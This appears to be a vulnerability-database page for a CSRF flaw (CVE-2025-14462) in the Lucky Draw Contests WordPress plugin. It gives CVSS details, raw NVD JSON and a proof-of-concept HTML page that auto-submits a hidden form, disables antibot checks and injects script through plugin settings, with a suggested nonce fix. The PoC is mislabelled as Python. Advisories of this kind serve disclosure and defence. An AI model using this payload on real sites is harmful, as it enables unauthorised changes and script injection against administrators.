Security Vulnerability Report
中文
CVE-2025-14462 CVSS 4.3 MEDIUM

CVE-2025-14462

Published: 2025-12-13 16:16:50
Last Modified: 2026-04-15 00:35:42

Description

The Lucky Draw Contests plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 4.2. This is due to missing or incorrect nonce validation in misc-settings.php. This makes it possible for unauthenticated attackers to update plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Lucky Draw Contests plugin for WordPress <= 4.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-14462 --> <!-- Target: Lucky Draw Contests plugin settings update --> <!-- This PoC demonstrates how an attacker can forge a request to modify plugin settings --> <!DOCTYPE html> <html> <head> <title>CSRF Attack Demo</title> </head> <body> <h1>Malicious Page</h1> <p>If you are logged in as WordPress admin, the following form will be auto-submitted:</p> <form id="csrfForm" action="http://target-site.com/wp-admin/admin-post.php" method="POST" style="display:none;"> <!-- Lucky Draw Contests settings update parameters --> <input type="hidden" name="action" value="lucky_draw_save_settings"> <input type="hidden" name="lucky_draw_option[enable_antibot]" value="0"> <input type="hidden" name="lucky_draw_option[max_entries]" value="999999"> <input type="hidden" name="lucky_draw_option[custom_js]" value="<script>alert('XSS')</script>"> <!-- Missing nonce field - this is the vulnerability --> </form> <script> // Auto-submit form when page loads document.getElementById('csrfForm').submit(); </script> <p>Alternatively, use this URL:</p> <a href="http://target-site.com/wp-admin/admin-post.php?action=lucky_draw_save_settings&lucky_draw_option[enable_antibot]=0">Click me</a> <p>Attacker can also use image tag or fetch API to trigger the request without user interaction</p> <img src="http://target-site.com/wp-admin/admin-post.php?action=lucky_draw_save_settings&lucky_draw_option[enable_antibot]=0" width="0" height="0"> </body> </html> <!-- Defense: Add nonce verification in misc-settings.php --> <!-- Before processing settings update, add: --> <!-- if (!wp_verify_nonce($_POST['_wpnonce'], 'lucky_draw_settings')) { --> <!-- wp_die('Security check failed'); --> <!-- } -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14462", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:50.320", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Lucky Draw Contests plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 4.2. This is due to missing or incorrect nonce validation in misc-settings.php. This makes it possible for unauthenticated attackers to update plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/lucky-draw/tags/4.2/includes/misc-settings.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/49364a21-775a-4de0-84f8-e62aa1a5fefd?source=cve", "source": "[email protected]"}]}}